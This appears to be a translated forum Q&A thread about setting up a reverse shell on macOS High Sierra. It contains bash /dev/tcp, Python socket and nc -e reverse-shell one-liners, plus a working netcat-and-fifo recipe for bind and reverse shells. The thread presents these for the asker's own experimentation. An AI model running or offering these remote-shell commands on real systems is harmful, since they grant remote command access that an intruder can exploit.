¿Crear shell inverso usando High Sierra?

Estoy tratando de crear un oyente de shell inverso usando High Sierra, pero nada parece funcionar.

El comando bash simplemente se cuelga en la terminal y se agota el tiempo de espera.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

El comando python falla con "Conexión rechazada" cuando se usa python o python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

los errores de comando netcat con "nc: opción no válida -e"

nc -e /bin/bash 0.0.0.0 8080

He probado otras soluciones que he encontrado en línea, pero entiendes la idea...

¿Es posible crear un shell inverso (preferiblemente con acceso a bash) usando High Sierra?

especificaciones:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

Respuestas (1)

Si entiendo correctamente, desea conectarse a su máquina High Sierra desde una fuente externa a través de algo como netcat (nc), enviar comandos a bash y ver la respuesta.

Hay formas más seguras y sencillas de hacer esto usando ssh, pero suponiendo que se trate de algún tipo de experimento o truco de desarrollo, así es como puede hacer lo que está pidiendo.

Mi respuesta se basa en una respuesta que encontré en otra parte de SE ( https://superuser.com/a/607855 ), que a su vez se basa en otras respuestas de SO/SE.

Primero haz un fifo:

mkfifo myfifo

Luego comience 'nc' usando el fifo como su entrada, canalizando su salida a bash y redirigiendo la salida de bash al fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(La bandera '-i' para bash indica un shell interactivo y puede no ser deseable para este caso de uso).

Desde el dispositivo remoto (en mis pruebas, yo mismo):

nc 127.0.0.1 8080

Si desea invertir los roles, es decir, la máquina High Sierra establece la conexión con el dispositivo remoto y le da acceso al dispositivo remoto para bash en el host HS, debe mover el indicador de escucha (-l). Entonces, el dispositivo remoto iniciaría netcat primero en modo de escucha:

nc -l 127.0.0.1 8080

Luego, el host de High Sierra se conectaría al dispositivo remoto:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
Esto es maravilloso, gracias. Si tiene tiempo, ¿puede explicar brevemente qué es/hace exactamente "mkfifo"? Miré el manual de fifo con man mkfifopero todavía no entiendo muy bien qué es un fifo, ¡lo siento!
@lily Crea una tubería con nombre que básicamente es la misma |pero con un nombre al que puede hacer referencia/usar más adelante. Piense en ello como un canal con nombre para pasar datos.
fifo = primero en entrar, primero en salir... una cola. El carácter de tubería " | " es una forma simplificada de hacer lo mismo. Como no podemos ir al otro lado (salida de bash de vuelta a la entrada de nc) con la tubería " | " o con redireccionamientos, usamos el fifo. Podríamos haber usado dos FIFO para ambos, si quisiéramos.
@BryanScott gracias por su ayuda con esto. tengo algunos problemas al invertir los roles (high sierra establece la conexión con el servidor debian remoto). Inicié netcat en el servidor con $ nc -l 0.0.0.0 8080, pero noté que omitir -pnc abre un puerto aleatorio, así que lo hago nc -l 0.0.0.0 -p 8080. luego, desde mi computadora portátil high sierra $ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1pero la terminal falla inmediatamente con:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
¿alguna idea de lo que podría estar haciendo mal aquí? sé que usar ssh es más seguro, pero por favor sígueme la corriente, me divierto aprendiendo netcat
Acabo de probar esto en mi red local y obtengo el mismo "error de conexión no válida" :(
creo que lo descubrí. desde el servidor de Debian, la omisión de la dirección de escucha (0.0.0.0) pareció resolver el problema.$ nc -l -p 8080
Sí, también puede especificar la IP pública del vps.